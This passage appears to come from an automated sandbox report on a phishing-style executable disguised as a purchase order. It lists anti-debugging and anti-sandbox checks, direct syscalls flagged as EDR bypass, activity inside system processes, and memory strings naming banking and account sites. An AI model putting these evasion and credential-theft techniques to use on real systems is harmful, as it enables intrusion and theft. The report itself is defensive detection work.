Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_00434418 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,		0_2_00434418

Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	API/Special instruction interceptor: Address: 40032B4
Source: C:\Windows\SysWOW64\grpconv.exe	API/Special instruction interceptor: Address: 7FFB2CECD324
Source: C:\Windows\SysWOW64\grpconv.exe	API/Special instruction interceptor: Address: 7FFB2CECD7E4
Source: C:\Windows\SysWOW64\grpconv.exe	API/Special instruction interceptor: Address: 7FFB2CECD944
Source: C:\Windows\SysWOW64\grpconv.exe	API/Special instruction interceptor: Address: 7FFB2CECD504
Source: C:\Windows\SysWOW64\grpconv.exe	API/Special instruction interceptor: Address: 7FFB2CECD544
Source: C:\Windows\SysWOW64\grpconv.exe	API/Special instruction interceptor: Address: 7FFB2CECD1E4
Source: C:\Windows\SysWOW64\grpconv.exe	API/Special instruction interceptor: Address: 7FFB2CED0154
Source: C:\Windows\SysWOW64\grpconv.exe	API/Special instruction interceptor: Address: 7FFB2CECDA44

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_0377096E rdtsc

2_2_0377096E

Source: C:\Windows\SysWOW64\grpconv.exe	Window / User API: threadDelayed 6872			Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe	Window / User API: threadDelayed 3101			Jump to behavior

Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_0-87608

Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	API coverage: 3.7 %
Source: C:\Windows\SysWOW64\svchost.exe	API coverage: 0.7 %
Source: C:\Windows\SysWOW64\grpconv.exe	API coverage: 2.7 %

Source: C:\Windows\SysWOW64\grpconv.exe TID: 7784	Thread sleep count: 6872 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe TID: 7784	Thread sleep time: -13744000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe TID: 7784	Thread sleep count: 3101 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe TID: 7784	Thread sleep time: -6202000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe TID: 7808	Thread sleep time: -80000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe TID: 7808	Thread sleep count: 39 > 30	Jump to behavior
Source: C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe TID: 7808	Thread sleep time: -58500s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe TID: 7808	Thread sleep count: 44 > 30	Jump to behavior
Source: C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe TID: 7808	Thread sleep time: -44000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\grpconv.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\grpconv.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_00452492 FindFirstFileW,Sleep,FindNextFileW,FindClose,	0_2_00452492
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_00442886 FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00442886
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_004788BD FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	0_2_004788BD
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_004339B6 GetFileAttributesW,FindFirstFileW,FindClose,	0_2_004339B6
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_0045CAFA FindFirstFileW,FindNextFileW,FindClose,	0_2_0045CAFA
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_00431A86 FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00431A86
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_0044BD27 _wcscat,_wcscat,__wsplitpath,FindFirstFileW,CopyFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,MoveFileW,FindNextFileW,FindClose,	0_2_0044BD27
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_0045DE8F FindFirstFileW,FindClose,	0_2_0045DE8F
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_0044BF8B _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_0044BF8B
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_002EC5F0 FindFirstFileW,FindNextFileW,FindClose,	5_2_002EC5F0

Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe

Code function: 0_2_0040E500 GetVersionExW,GetCurrentProcess,GetNativeSystemInfo,FreeLibrary,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,FreeLibrary,

0_2_0040E500

Source: 1ySo2KZ76.5.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: 1ySo2KZ76.5.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: 1ySo2KZ76.5.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: 1ySo2KZ76.5.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: 1ySo2KZ76.5.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: 1ySo2KZ76.5.dr	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: 1ySo2KZ76.5.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: 1ySo2KZ76.5.dr	Binary or memory string: AMC password management pageVMware20,11696492231
Source: 1ySo2KZ76.5.dr	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: 1ySo2KZ76.5.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: 1ySo2KZ76.5.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: 1ySo2KZ76.5.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: 1ySo2KZ76.5.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: 1ySo2KZ76.5.dr	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: 1ySo2KZ76.5.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: JkyHsYXxoyjW.exe, 00000006.00000002.3864755286.0000000000D20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll!
Source: 1ySo2KZ76.5.dr	Binary or memory string: discord.comVMware20,11696492231f
Source: 1ySo2KZ76.5.dr	Binary or memory string: global block list test formVMware20,11696492231
Source: 1ySo2KZ76.5.dr	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: 1ySo2KZ76.5.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: 1ySo2KZ76.5.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: 1ySo2KZ76.5.dr	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: 1ySo2KZ76.5.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: 1ySo2KZ76.5.dr	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: 1ySo2KZ76.5.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: 1ySo2KZ76.5.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: 1ySo2KZ76.5.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: 1ySo2KZ76.5.dr	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: grpconv.exe, 00000005.00000002.3859947867.000000000279A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll~
Source: 1ySo2KZ76.5.dr	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: 1ySo2KZ76.5.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: 1ySo2KZ76.5.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: 1ySo2KZ76.5.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]
Source: firefox.exe, 00000008.00000002.1927161385.0000029EA137C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll::

Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe

API call chain: ExitProcess graph end node

graph_0-86739

Source: C:\Windows\SysWOW64\svchost.exe

Process information queried: ProcessInformation

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Windows\SysWOW64\svchost.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_0377096E rdtsc

2_2_0377096E

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_004176C3 LdrLoadDll,

2_2_004176C3

Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe

Code function: 0_2_0045A370 BlockInput,

0_2_0045A370

Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe

Code function: 0_2_0040D590 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetModuleFileNameW,GetForegroundWindow,ShellExecuteW,GetForegroundWindow,ShellExecuteW,

0_2_0040D590

Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe

Code function: 0_2_0040EBD0 LoadLibraryA,GetProcAddress,

0_2_0040EBD0

Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_04003520 mov eax, dword ptr fs:[00000030h]	0_2_04003520
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_04003580 mov eax, dword ptr fs:[00000030h]	0_2_04003580
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_04001EE0 mov eax, dword ptr fs:[00000030h]	0_2_04001EE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037D437C mov eax, dword ptr fs:[00000030h]	2_2_037D437C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B035C mov eax, dword ptr fs:[00000030h]	2_2_037B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B035C mov eax, dword ptr fs:[00000030h]	2_2_037B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B035C mov eax, dword ptr fs:[00000030h]	2_2_037B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B035C mov ecx, dword ptr fs:[00000030h]	2_2_037B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B035C mov eax, dword ptr fs:[00000030h]	2_2_037B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B035C mov eax, dword ptr fs:[00000030h]	2_2_037B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037FA352 mov eax, dword ptr fs:[00000030h]	2_2_037FA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037D8350 mov ecx, dword ptr fs:[00000030h]	2_2_037D8350
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B2349 mov eax, dword ptr fs:[00000030h]	2_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B2349 mov eax, dword ptr fs:[00000030h]	2_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B2349 mov eax, dword ptr fs:[00000030h]	2_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B2349 mov eax, dword ptr fs:[00000030h]	2_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B2349 mov eax, dword ptr fs:[00000030h]	2_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B2349 mov eax, dword ptr fs:[00000030h]	2_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B2349 mov eax, dword ptr fs:[00000030h]	2_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B2349 mov eax, dword ptr fs:[00000030h]	2_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B2349 mov eax, dword ptr fs:[00000030h]	2_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B2349 mov eax, dword ptr fs:[00000030h]	2_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B2349 mov eax, dword ptr fs:[00000030h]	2_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B2349 mov eax, dword ptr fs:[00000030h]	2_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B2349 mov eax, dword ptr fs:[00000030h]	2_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B2349 mov eax, dword ptr fs:[00000030h]	2_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B2349 mov eax, dword ptr fs:[00000030h]	2_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372C310 mov ecx, dword ptr fs:[00000030h]	2_2_0372C310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03750310 mov ecx, dword ptr fs:[00000030h]	2_2_03750310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376A30B mov eax, dword ptr fs:[00000030h]	2_2_0376A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376A30B mov eax, dword ptr fs:[00000030h]	2_2_0376A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376A30B mov eax, dword ptr fs:[00000030h]	2_2_0376A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0374E3F0 mov eax, dword ptr fs:[00000030h]	2_2_0374E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0374E3F0 mov eax, dword ptr fs:[00000030h]	2_2_0374E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0374E3F0 mov eax, dword ptr fs:[00000030h]	2_2_0374E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037663FF mov eax, dword ptr fs:[00000030h]	2_2_037663FF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037403E9 mov eax, dword ptr fs:[00000030h]	2_2_037403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037403E9 mov eax, dword ptr fs:[00000030h]	2_2_037403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037403E9 mov eax, dword ptr fs:[00000030h]	2_2_037403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037403E9 mov eax, dword ptr fs:[00000030h]	2_2_037403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037403E9 mov eax, dword ptr fs:[00000030h]	2_2_037403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037403E9 mov eax, dword ptr fs:[00000030h]	2_2_037403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037403E9 mov eax, dword ptr fs:[00000030h]	2_2_037403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037403E9 mov eax, dword ptr fs:[00000030h]	2_2_037403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037D43D4 mov eax, dword ptr fs:[00000030h]	2_2_037D43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037D43D4 mov eax, dword ptr fs:[00000030h]	2_2_037D43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037EC3CD mov eax, dword ptr fs:[00000030h]	2_2_037EC3CD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0373A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0373A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0373A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0373A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0373A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0373A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037383C0 mov eax, dword ptr fs:[00000030h]	2_2_037383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037383C0 mov eax, dword ptr fs:[00000030h]	2_2_037383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037383C0 mov eax, dword ptr fs:[00000030h]	2_2_037383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037383C0 mov eax, dword ptr fs:[00000030h]	2_2_037383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B63C0 mov eax, dword ptr fs:[00000030h]	2_2_037B63C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03728397 mov eax, dword ptr fs:[00000030h]	2_2_03728397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03728397 mov eax, dword ptr fs:[00000030h]	2_2_03728397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03728397 mov eax, dword ptr fs:[00000030h]	2_2_03728397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372E388 mov eax, dword ptr fs:[00000030h]	2_2_0372E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372E388 mov eax, dword ptr fs:[00000030h]	2_2_0372E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372E388 mov eax, dword ptr fs:[00000030h]	2_2_0372E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375438F mov eax, dword ptr fs:[00000030h]	2_2_0375438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375438F mov eax, dword ptr fs:[00000030h]	2_2_0375438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037E0274 mov eax, dword ptr fs:[00000030h]	2_2_037E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037E0274 mov eax, dword ptr fs:[00000030h]	2_2_037E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037E0274 mov eax, dword ptr fs:[00000030h]	2_2_037E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037E0274 mov eax, dword ptr fs:[00000030h]	2_2_037E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037E0274 mov eax, dword ptr fs:[00000030h]	2_2_037E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037E0274 mov eax, dword ptr fs:[00000030h]	2_2_037E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037E0274 mov eax, dword ptr fs:[00000030h]	2_2_037E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037E0274 mov eax, dword ptr fs:[00000030h]	2_2_037E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037E0274 mov eax, dword ptr fs:[00000030h]	2_2_037E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037E0274 mov eax, dword ptr fs:[00000030h]	2_2_037E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037E0274 mov eax, dword ptr fs:[00000030h]	2_2_037E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037E0274 mov eax, dword ptr fs:[00000030h]	2_2_037E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03734260 mov eax, dword ptr fs:[00000030h]	2_2_03734260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03734260 mov eax, dword ptr fs:[00000030h]	2_2_03734260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03734260 mov eax, dword ptr fs:[00000030h]	2_2_03734260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372826B mov eax, dword ptr fs:[00000030h]	2_2_0372826B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372A250 mov eax, dword ptr fs:[00000030h]	2_2_0372A250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03736259 mov eax, dword ptr fs:[00000030h]	2_2_03736259
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B8243 mov eax, dword ptr fs:[00000030h]	2_2_037B8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B8243 mov ecx, dword ptr fs:[00000030h]	2_2_037B8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372823B mov eax, dword ptr fs:[00000030h]	2_2_0372823B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037402E1 mov eax, dword ptr fs:[00000030h]	2_2_037402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037402E1 mov eax, dword ptr fs:[00000030h]	2_2_037402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037402E1 mov eax, dword ptr fs:[00000030h]	2_2_037402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0373A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0373A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0373A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0373A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0373A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037402A0 mov eax, dword ptr fs:[00000030h]	2_2_037402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037402A0 mov eax, dword ptr fs:[00000030h]	2_2_037402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037C62A0 mov eax, dword ptr fs:[00000030h]	2_2_037C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037C62A0 mov ecx, dword ptr fs:[00000030h]	2_2_037C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037C62A0 mov eax, dword ptr fs:[00000030h]	2_2_037C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037C62A0 mov eax, dword ptr fs:[00000030h]	2_2_037C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037C62A0 mov eax, dword ptr fs:[00000030h]	2_2_037C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037C62A0 mov eax, dword ptr fs:[00000030h]	2_2_037C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376E284 mov eax, dword ptr fs:[00000030h]	2_2_0376E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376E284 mov eax, dword ptr fs:[00000030h]	2_2_0376E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B0283 mov eax, dword ptr fs:[00000030h]	2_2_037B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B0283 mov eax, dword ptr fs:[00000030h]	2_2_037B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B0283 mov eax, dword ptr fs:[00000030h]	2_2_037B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372C156 mov eax, dword ptr fs:[00000030h]	2_2_0372C156
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037C8158 mov eax, dword ptr fs:[00000030h]	2_2_037C8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03736154 mov eax, dword ptr fs:[00000030h]	2_2_03736154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03736154 mov eax, dword ptr fs:[00000030h]	2_2_03736154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037C4144 mov eax, dword ptr fs:[00000030h]	2_2_037C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037C4144 mov eax, dword ptr fs:[00000030h]	2_2_037C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037C4144 mov ecx, dword ptr fs:[00000030h]	2_2_037C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037C4144 mov eax, dword ptr fs:[00000030h]	2_2_037C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037C4144 mov eax, dword ptr fs:[00000030h]	2_2_037C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03760124 mov eax, dword ptr fs:[00000030h]	2_2_03760124
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037DA118 mov ecx, dword ptr fs:[00000030h]	2_2_037DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037DA118 mov eax, dword ptr fs:[00000030h]	2_2_037DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037DA118 mov eax, dword ptr fs:[00000030h]	2_2_037DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037DA118 mov eax, dword ptr fs:[00000030h]	2_2_037DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_038061E5 mov eax, dword ptr fs:[00000030h]	2_2_038061E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037F0115 mov eax, dword ptr fs:[00000030h]	2_2_037F0115
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037601F8 mov eax, dword ptr fs:[00000030h]	2_2_037601F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037AE1D0 mov eax, dword ptr fs:[00000030h]	2_2_037AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037AE1D0 mov eax, dword ptr fs:[00000030h]	2_2_037AE1D0
